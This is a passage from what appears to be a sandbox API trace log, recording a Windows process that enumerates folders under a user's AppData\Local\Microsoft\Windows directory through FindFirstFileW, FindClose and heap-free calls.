ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.719] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.720] GetProcessHeap () returned 0x550000 [0280.720] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.720] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.720] GetProcessHeap () returned 0x550000 [0280.720] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.720] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.720] GetProcessHeap () returned 0x550000 [0280.720] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.720] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.721] GetProcessHeap () returned 0x550000 [0280.721] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.737] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.738] GetProcessHeap () returned 0x550000 [0280.738] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.738] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.738] GetProcessHeap () returned 0x550000 [0280.738] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc84d060, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xc84d060, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.751] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.751] GetProcessHeap () returned 0x550000 [0280.751] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.751] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.751] GetProcessHeap () returned 0x550000 [0280.751] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.752] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.752] GetProcessHeap () returned 0x550000 [0280.752] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xddcace80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddcace80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xddcace80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddcace80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddcace80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.753] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.753] GetProcessHeap () returned 0x550000 [0280.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.753] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.753] GetProcessHeap () returned 0x550000 [0280.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0280.758] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0280.758] GetProcessHeap () returned 0x550000 [0280.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0280.758] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.758] GetProcessHeap () returned 0x550000 [0280.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.758] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.758] GetProcessHeap () returned 0x550000 [0280.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.758] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.758] GetProcessHeap () returned 0x550000 [0280.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.758] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.758] GetProcessHeap () returned 0x550000 [0280.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.829] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.830] GetProcessHeap () returned 0x550000 [0280.830] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.847] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.847] GetProcessHeap () returned 0x550000 [0280.847] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.930] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.931] GetProcessHeap () returned 0x550000 [0280.931] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.940] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.941] GetProcessHeap () returned 0x550000 [0280.941] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.941] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.941] GetProcessHeap () returned 0x550000 [0280.941] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.980] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.980] GetProcessHeap () returned 0x550000 [0280.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.981] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.981] GetProcessHeap () returned 0x550000 [0280.981] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.982] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.982] GetProcessHeap () returned 0x550000 [0280.982] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0281.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0281.097] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0281.098] GetProcessHeap () returned 0x550000 [0281.098] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0281.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x467cf930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0281.105] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0281.107] GetProcessHeap () returned 0x550000 [0281.107] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0281.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0281.115] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0281.116] GetProcessHeap () returned 0x550000 [0281.117] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0281.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, 